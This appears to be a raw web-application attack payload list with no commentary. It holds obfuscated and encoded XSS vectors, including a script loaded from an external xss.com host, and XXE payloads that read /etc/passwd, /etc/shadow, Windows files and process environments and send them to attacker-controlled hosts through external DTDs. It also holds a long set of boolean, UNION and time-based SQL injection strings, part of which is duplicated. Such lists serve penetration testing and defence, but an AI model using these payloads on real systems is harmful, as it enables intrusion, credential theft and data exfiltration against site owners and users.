<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script> <script> </script> <script>\u0061\u006C\u0065\u0072\u0074(123)</script> <script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script> <script>document.write('<img src=1 onerror=alert(1)>');</script> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> /*-->]]>%>?></object></script></title></textarea></noscript></style></xmp>'-/"/-alert(1)//><img src=1 onerror=alert(1)>' javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> <script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script> <script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script> <script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script> <div style="x:expression(alert(1))">Joker</div> <div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div> <div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div> <div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div> <iframe src="javascript:alert(1)"></iframe> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> <img src="1" onerror="alert(1)" /> <img src="1" onerror="alert(1)" /> <iframe src="javascript:alert(1)"></iframe> <script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script> <style>body{background-color:expression\(alert(1))}</style> javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></ '%22()%26%25<><ScRiPt%20>alert(1)</ScRiPt> ' onmouseover=alert(9205) bad=' "><svg/onload=prompt(1)> "onresize=prompt(1)> <svg/onload=prompt(1) <svg><script>prompt(1)<b> <svg><script>prompt(1)</script> '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E <<scr\0ipt/src=http://xss.com/xss.js></script %253Cscript%253Ealert('XSS')%253C%252Fscript%253E <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onended="alert(String.fromCharCode(88,83,83))"> <Img src = x onerror = "javascript: window.onerror = alert; throw XSS"> <Video> <source onerror = "javascript: alert (XSS)"> <Input value = "XSS" type = text> <applet code="javascript:confirm(document.cookie);"> <isindex x="javascript:" onmouseover="alert(XSS)"> "></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> "><img src="x:x" onerror="alert(XSS)"> "><iframe src="javascript:alert(XSS)"> <object data="javascript:alert(XSS)"> <isindex type=image src=1 onerror=alert(XSS)> <img src=x:alert(alt) onerror=eval(src) alt=0> <img src="x:gif" onerror="window['al\u0065rt'](0)"></img> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data:,window.open('https://www.google.com/')></script <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript:alert(document.location)> <form><a href="javascript:\u0061lert(1)">X </script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'> <style>//*{x:expression(alert(/xss/))}//<style></style> On Mouse Over? <img src="/" =_=" title="onerror='prompt(1)'"> <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <script x> alert(1) </script 1=2 <form><button formaction=javascript:alert(1)>CLICKME <input/onmouseover="javaSCRIPT:confirm(1)" <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> <A HREF="http://google:ha.ckers.org">XSS</A> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]> <foo><result>∾</result></foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo> https://medium.com/@ismailtasdelen/xml-external-entity-xxe-injection-payload-list-937d33e5e116 Vanilla, used to verify outbound xxe or blind xxe -------------------------------------------------------------- <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> ]> <r>&sp;</r> --------------------------------------------------------------- OoB extraction --------------------------------------------------------------- <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> <r>&exfil;</r> ## External dtd: ## <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> ---------------------------------------------------------------- OoB variation of above (seems to work better against .NET) ---------------------------------------------------------------- <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; %exfil; ]> ## External dtd: ## <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> --------------------------------------------------------------- OoB extraction --------------------------------------------------------------- <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM "file:///etc/shadow"> <!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd"> %sp; %param3; %exfil; ]> ## External dtd: ## <!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>"> ----------------------------------------------------------------------- OoB extra ERROR -- Java ----------------------------------------------------------------------- <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM "file:///etc/passwd"> <!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd"> %sp; %param3; %exfil; ]> <r></r> ## External dtd: ## <!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external; ----------------------------------------------------------------------- OoB extra nice ----------------------------------------------------------------------- <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % start "<![CDATA["> <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml "> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://evil/evil.xml"> %dtd; ]> <root>&all;</root> ## External dtd: ## <!ENTITY all "%start;%stuff;%end;"> ------------------------------------------------------------------ File-not-found exception based extraction ------------------------------------------------------------------ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" > %one; %two; %four; ]> ## External dtd: ## <!ENTITY % three SYSTEM "file:///etc/passwd"> <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>"> -------------------------^ you might need to encode this % (depends on your target) as: % -------------- FTP -------------- <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd"> %asd; %c; ]> <a>&rrr;</a> ## External dtd ## <!ENTITY % d SYSTEM "file:///proc/self/environ"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>"> --------------------------- Inside SOAP body --------------------------- <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body> --------------------------- Untested - WAF Bypass --------------------------- <!DOCTYPE :. SYTEM "http://" <!DOCTYPE :_-_: SYTEM "http://" <!DOCTYPE {0xdfbf} SYSTEM "http://" OR 1=1 OR 1=0 OR x=x OR x=y OR 1=1# OR 1=0# OR x=x# OR x=y# OR 1=1-- OR 1=0-- OR x=x-- OR x=y-- OR 3409=3409 AND ('pytW' LIKE 'pytW OR 3409=3409 AND ('pytW' LIKE 'pytY HAVING 1=1 HAVING 1=0 HAVING 1=1# HAVING 1=0# HAVING 1=1-- HAVING 1=0-- AND 1=1 AND 1=0 AND 1=1-- AND 1=0-- AND 1=1# AND 1=0# AND 1=1 AND '%'=' AND 1=0 AND '%'=' AND 1083=1083 AND (1427=1427 AND 7506=9091 AND (5913=5913 AND 1083=1083 AND ('1427=1427 AND 7506=9091 AND ('5913=5913 AND 7300=7300 AND 'pKlZ'='pKlZ AND 7300=7300 AND 'pKlZ'='pKlY AND 7300=7300 AND ('pKlZ'='pKlZ AND 7300=7300 AND ('pKlZ'='pKlY AS INJECTX WHERE 1=1 AND 1=1 AS INJECTX WHERE 1=1 AND 1=0 AS INJECTX WHERE 1=1 AND 1=1# AS INJECTX WHERE 1=1 AND 1=0# AS INJECTX WHERE 1=1 AND 1=1-- AS INJECTX WHERE 1=1 AND 1=0-- WHERE 1=1 AND 1=1 WHERE 1=1 AND 1=0 WHERE 1=1 AND 1=1# WHERE 1=1 AND 1=0# WHERE 1=1 AND 1=1-- WHERE 1=1 AND 1=0-- ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- ORDER BY 4-- ORDER BY 5-- ORDER BY 6-- ORDER BY 7-- ORDER BY 8-- ORDER BY 9-- ORDER BY 10-- ORDER BY 11-- ORDER BY 12-- ORDER BY 13-- ORDER BY 14-- ORDER BY 15-- ORDER BY 16-- ORDER BY 17-- ORDER BY 18-- ORDER BY 19-- ORDER BY 20-- ORDER BY 21-- ORDER BY 22-- ORDER BY 23-- ORDER BY 24-- ORDER BY 25-- ORDER BY 26-- ORDER BY 27-- ORDER BY 28-- ORDER BY 29-- ORDER BY 30-- ORDER BY 31337-- ORDER BY 1# ORDER BY 2# ORDER BY 3# ORDER BY 4# ORDER BY 5# ORDER BY 6# ORDER BY 7# ORDER BY 8# ORDER BY 9# ORDER BY 10# ORDER BY 11# ORDER BY 12# ORDER BY 13# ORDER BY 14# ORDER BY 15# ORDER BY 16# ORDER BY 17# ORDER BY 18# ORDER BY 19# ORDER BY 20# ORDER BY 21# ORDER BY 22# ORDER BY 23# ORDER BY 24# ORDER BY 25# ORDER BY 26# ORDER BY 27# ORDER BY 28# ORDER BY 29# ORDER BY 30# ORDER BY 31337# ORDER BY 1 ORDER BY 2 ORDER BY 3 ORDER BY 4 ORDER BY 5 ORDER BY 6 ORDER BY 7 ORDER BY 8 ORDER BY 9 ORDER BY 10 ORDER BY 11 ORDER BY 12 ORDER BY 13 ORDER BY 14 ORDER BY 15 ORDER BY 16 ORDER BY 17 ORDER BY 18 ORDER BY 19 ORDER BY 20 ORDER BY 21 ORDER BY 22 ORDER BY 23 ORDER BY 24 ORDER BY 25 ORDER BY 26 ORDER BY 27 ORDER BY 28 ORDER BY 29 ORDER BY 30 ORDER BY 31337 RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl-- IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl-- %' AND 8310=8310 AND '%'=' %' AND 8310=8311 AND '%'=' and (select substring(@@version,1,1))='X' and (select substring(@@version,1,1))='M' and (select substring(@@version,2,1))='i' and (select substring(@@version,2,1))='y' and (select substring(@@version,3,1))='c' and (select substring(@@version,3,1))='S' and (select substring(@@version,3,1))='X' Generic Time Based SQL Injection Payloads # from wapiti sleep(5)# 1 or sleep(5)# " or sleep(5)# ' or sleep(5)# " or sleep(5)=" ' or sleep(5)=' 1) or sleep(5)# ") or sleep(5)=" ') or sleep(5)=' 1)) or sleep(5)# ")) or sleep(5)=" ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- '));waitfor delay '0:0:5'-- "));waitfor delay '0:0:5'-- benchmark(10000000,MD5(1))# 1 or benchmark(10000000,MD5(1))# " or benchmark(10000000,MD5(1))# ' or benchmark(10000000,MD5(1))# 1) or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))# ') or benchmark(10000000,MD5(1))# 1)) or benchmark(10000000,MD5(1))# ")) or benchmark(10000000,MD5(1))# ')) or benchmark(10000000,MD5(1))# pg_sleep(5)-- 1 or pg_sleep(5)-- " or pg_sleep(5)-- ' or pg_sleep(5)-- 1) or pg_sleep(5)-- ") or pg_sleep(5)-- ') or pg_sleep(5)-- 1)) or pg_sleep(5)-- ")) or pg_sleep(5)-- ')) or pg_sleep(5)-- AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# SLEEP(5)# SLEEP(5)-- SLEEP(5)=" SLEEP(5)=' or SLEEP(5) or SLEEP(5)# or SLEEP(5)-- or SLEEP(5)=" or SLEEP(5)=' waitfor delay '00:00:05' waitfor delay '00:00:05'-- waitfor delay '00:00:05'# benchmark(50000000,MD5(1)) benchmark(50000000,MD5(1))-- benchmark(50000000,MD5(1))# or benchmark(50000000,MD5(1)) or benchmark(50000000,MD5(1))-- or benchmark(50000000,MD5(1))# pg_SLEEP(5) pg_SLEEP(5)-- pg_SLEEP(5)# or pg_SLEEP(5) or pg_SLEEP(5)-- or pg_SLEEP(5)# '\" AnD SLEEP(5) AnD SLEEP(5)-- AnD SLEEP(5)# &&SLEEP(5) &&SLEEP(5)-- &&SLEEP(5)# ' AnD SLEEP(5) ANd '1 '&&SLEEP(5)&&'1 ORDER BY SLEEP(5) ORDER BY SLEEP(5)-- ORDER BY SLEEP(5)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj) (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- +benchmark(3200,SHA1(1))+' + SLEEP(10) + ' RANDOMBLOB(500000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) RANDOMBLOB(1000000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ ' '' ` `` , " "" / // \ \\ ; ' or " -- or # ' OR '1 ' OR 1 -- - " OR "" = " " OR 1 = 1 -- - ' OR '' = ' '=' 'LIKE' '=0--+ OR 1=1 ' OR 'x'='x ' AND id IS NULL; -- '''''''''''''UNION SELECT '2 %00 /*…*/ + addition, concatenate (or space in url) || (double pipe) concatenate % wildcard attribute indicator @variable local variable @@variable global variable # Numeric AND 1 AND 0 AND true AND false 1-false 1-true 1*56 -2 1' ORDER BY 1--+ 1' ORDER BY 2--+ 1' ORDER BY 3--+ 1' ORDER BY 1,2--+ 1' ORDER BY 1,2,3--+ 1' GROUP BY 1,2,--+ 1' GROUP BY 1,2,3--+ ' GROUP BY columnnames having 1=1 -- -1' UNION SELECT 1,2,3--+ ' UNION SELECT sum(columnname ) from tablename -- -1 UNION SELECT 1 INTO @,@ -1 UNION SELECT 1 INTO @,@,@ 1 AND (SELECT * FROM Users) = 1 ' AND MID(VERSION(),1,1) = '5'; ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- Finding the table name Time-Based: ,(select * from (select(sleep(10)))a) %2c(select%20*%20from%20(select(sleep(10)))a) ';WAITFOR DELAY '0:0:30'-- Comments: # Hash comment /* C-style comment -- - SQL comment ;%00 Nullbyte ` Backtick sleep(5)# 1 or sleep(5)# " or sleep(5)# ' or sleep(5)# " or sleep(5)=" ' or sleep(5)=' 1) or sleep(5)# ") or sleep(5)=" ') or sleep(5)=' 1)) or sleep(5)# ")) or sleep(5)=" ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- '));waitfor delay '0:0:5'-- "));waitfor delay '0:0:5'-- benchmark(10000000,MD5(1))# 1 or benchmark(10000000,MD5(1))# " or benchmark(10000000,MD5(1))# ' or benchmark(10000000,MD5(1))# 1) or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))# ') or benchmark(10000000,MD5(1))# 1)) or benchmark(10000000,MD5(1))# ")) or benchmark(10000000,MD5(1))# ')) or benchmark(10000000,MD5(1))# pg_sleep(5)-- 1 or pg_sleep(5)-- " or pg_sleep(5)-- ' or pg_sleep(5)-- 1) or pg_sleep(5)-- ") or pg_sleep(5)-- ') or pg_sleep(5)-- 1)) or pg_sleep(5)-- ")) or pg_sleep(5)-- ')) or pg_sleep(5)-- AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# SLEEP(5)# SLEEP(5)-- SLEEP(5)=" SLEEP(5)=' or SLEEP(5) or SLEEP(5)# or SLEEP(5)-- or SLEEP(5)=" or SLEEP(5)=' waitfor delay '00:00:05' waitfor delay '00:00:05'-- waitfor delay '00:00:05'# benchmark(50000000,MD5(1)) benchmark(50000000,MD5(1))-- benchmark(50000000,MD5(1))# or benchmark(50000000,MD5(1)) or benchmark(50000000,MD5(1))-- or benchmark(50000000,MD5(1))# pg_SLEEP(5) pg_SLEEP(5)-- pg_SLEEP(5)# or pg_SLEEP(5) or pg_SLEEP(5)-- or pg_SLEEP(5)# '\" AnD SLEEP(5) AnD SLEEP(5)-- AnD SLEEP(5)# 